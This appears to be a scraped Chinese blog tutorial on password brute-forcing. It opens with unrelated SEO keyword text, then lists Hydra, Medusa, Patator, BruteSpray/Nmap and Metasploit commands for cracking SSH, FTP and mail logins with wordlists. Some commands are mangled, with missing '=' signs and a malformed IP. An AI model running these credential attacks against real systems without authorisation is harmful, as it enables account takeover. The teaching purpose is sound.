该网站为悬挂备案号,怎么看网站用什么代码做的,建网站要多少钱用自己的服务器,做h网站风险一.hydra【海德拉】
海德拉#xff08;Hydra#xff09;#xff1a;希腊神话中的九头蛇#xff0c;是西方的神话生物#xff0c;在古希腊神话中出现最为频繁。传说它拥有九颗头#xff0c;其中一颗头要是被斩断#xff0c;立刻又会生出两颗头来。 Hydra是世界顶级密码暴…一.hydra【海德拉】
海德拉Hydra希腊神话中的九头蛇是西方的神话生物在古希腊神话中出现最为频繁。传说它拥有九颗头其中一颗头要是被斩断立刻又会生出两颗头来。 Hydra是世界顶级密码暴力破解工具支持几乎所有协议的在线密码破解功能强大其密码能否被破解关键取决于破解字典是否足够强大在网络安全渗透过程中是一款必备的测试工具。
1.指定用户破解
hydea -l user -P passlist.txt ftp://192.168.0.1
hydra -L userlist.txt -p defaultpw imap://192.1680.0/PLAIN
hydra -C defaults.txt -6 pop3s://[2001:db8::1]:143/TLS:DIGEST-MD5
hydra -l admin -p password ftp://[192.168.0.0/24]/
hydra -L logins.txt -p pws.txt -M targets.txt ssh
hydra -l root -P pass.list 192.168.75.158 ssh2.用户列表破解
hydra -L userlist.txt -P passlist.txt 192.168.75.158 ssh
hydra -L userlist.txt -P passlist.txt -M hostlist.txt ssh
hydra -l root -P pass.list 192.168.75.158 ssh -o hydrassh.txt二.medusa[美杜莎]
美杜莎是希腊神话里的一个女妖怪她的头发是毒蛇长的青面獠牙她知道自丑她要报复她把见过她的人都变成了石头。据说她原是一位美丽的少女之所以变成蛇发女妖是因为梅杜莎和智慧女神雅典娜比美雅典娜一怒之下将梅杜莎的头发变成毒蛇变成面目丑陋的怪物。 Medusa[美杜莎]是一个速度快支持大规模并行模块化爆破登录。可以同时对多个主机、用户或密码执行强力测试。Medusa和Hydra一样同样于在线密码破解工具。不同的是Medusa的稳定性相较于Hydra要好很多但其支持模块要比Hydra少一些。 Medusa [ -h host | -H file] [ -u username | -U file] [-p password | -p file ] [ -C file ]
选项功能说明-h [TEXT]目标主机名称或者IP地址-H [FILE]包含目标主机名称或者IP地址文件-u [TEXT]测试的用户名-U [FILE]包含测试的用户名文件-p [TEXT]测试的密码-P [FILE]包含测试的密码文件-C [FILE]组合条目文件-O [FILE]日志信息文件-e [n/s/ns]n代表空密码s代表为密码与用户名相同-M [TEXT]模块执行名称-m [TEXT]传递参数到模块-d显示所有的模块名称-n [NUM]使用非默认Tcp端口-s启用SSl-r [NUM]重试间隔时间默认未3秒-t [NUM]设定线程数量-T同时测试的主机总数-L并行化每个用户使用一个线程-f在任何主机上找到第一个账号/密码后停止破解-F在任何主机上找到第一个有效的用户名/密码后停止审计-q显示模块的使用信息-v [NUM]详细级别0-6-w [NUM]错误调试级别0-10-V显示版本-Z [TEXT]继续扫描上一次medusa -M ssh -u root -P pass.list -h 192.168.75.158 medusa -M ssh -H hostlist.txt -U userlist.txt -P passlist.txt medusa -M ssh -u root -P pass.list -h 192.168.75.158 -O medusa.txt
三.Patator强大的命令行暴力破解器
查看模块 #patator 查看模块具体用法#patator --ssh_login --help #patator ssh_login host192.168.75.158 userroot passwordFILE0 0passlist.txt #patator ssh_login host192.168.75.158 userFILE0 0user.list passwordFILE1 1pass.list #patator ssh_login host192.168.75.158 userFILE0 0user.list passwordFILE1 1pass.list -x ignore:mesg‘Authentication failed.’
四.BrutesPray
BrutesPray是一款基于nmap扫描输出的gnmap/XML文件。自动调用Medusa对服务进行爆破。
1.安装brutespray
#apt-get update #apt-get install brutespray
2.语法参数:
选项功能说明-f或 --flie接一个文件名, 解析nmap输出的 GNMAP 或者 XML 文件-s或 --service 接一个服务名, 指定要攻击的服务-t 或 --threads接一数值,指定线程数-T 或 --hosts接一数值,指定同时测试的主机数-U 或 --userlist 接一个用户字典文件-P 或 --passlist 接一个密码字典文件-u 或 --username接用户名,指定一个用户名进行爆破-p 或 --password接一个密码,指定一个密码进行爆破-c 或 --continuous 成功之后继续爆破-I 或 --interactive 交互模式3.Nmap扫描常用命令
命令功能说明nmap -ip地址nmap -v ip地址显示扫描过程nmap -p80,8080指定端口扫描nmap -A ip综合扫描nmap -O ip扫描主机操作系统nmap -iL 文件扫描指定文件中的IPnmap -sS SYN扫描使用SYN半开放扫描nmap -sT TCP扫描扫描开放了TCP端口的设备nmap -F快速扫描nmap -sV版本检测 用于扫描目标主机服务版本号. 探测打开的端口以确定服务/版本信息nmap -sRRPC扫描nmap -sU探测那些UDP端口开放nmap -sO用于判断目标主机上使用的是神魔协议 探测目标主机支持哪些IP协议nmap -oX表示以xml的格式输出结果到以文件-P0跳过ping的探测,可以加快扫描速度.-sPping扫描-T [0-6]设置定时模板越高越快4.对SSH密码进行爆破
#nmap -sV -p 22 192.168.75.0/24 -oX nmaplive.xml
#brutespray --file nmaplive.xml -u root -P pass.list -c
#cat /root/brutespray-output/22-ssh-success.txt 查看爆破成功的文件内容五.Metasploit Framework
Metasploit Framework简称MSF是一个编写、测试和使用exploit代码的完善环境。这个环境为渗透测试Shellcode编写和漏洞研究提供了一个可靠的平台这个框架主要是由面向对象的Perl编程语言编写的并带有由C语言汇编程序和Python编写的可选组件。 #msfconsole msf search ssh
1.MSF枚举找用户
msf use auxiliary/scanner/ssh/ssh_enumusers
msf auxiliary(scanner/ssh/ssh_enumusers) show options
msf auxiliary(scanner/ssh/ssh_enumusers) set rhosts 192.168.75.158 设置目标主机
msf auxiliary(scanner/ssh/ssh_enumusers) set user_file /root/user.list
msf auxiliary(scanner/ssh/ssh_enumusers) set threads 10
msf auxiliary(scanner/ssh/ssh_enumusers) show options
msf auxiliary(scanner/ssh/ssh_enumusers) run2.MSF版本探测
msf use auxiliary/scanner/ssh/ssh_version
msf auxiliary(scanner/ssh/ssh_version) show options
msf auxiliary(scanner/ssh/ssh_version) set rhosts 192.168.75.158
msf auxiliary(scanner/ssh/ssh_version) show options
msf auxiliary(scanner/ssh/ssh_version) run3.MSF暴力破解
msf auxiliary(scanner/ssh/ssh_version) use auxiliary/scanner/ssh/ssh_login
msf auxiliary(scanner/ssh/ssh_login) show options
msf auxiliary(scanner/ssh/ssh_login) set rhosts 192.168.75.158
msf auxiliary(scanner/ssh/ssh_login) set pass_file /root/pass.list
msf auxiliary(scanner/ssh/ssh_login) set user_file /root/user.list
msf auxiliary(scanner/ssh/ssh_login) run
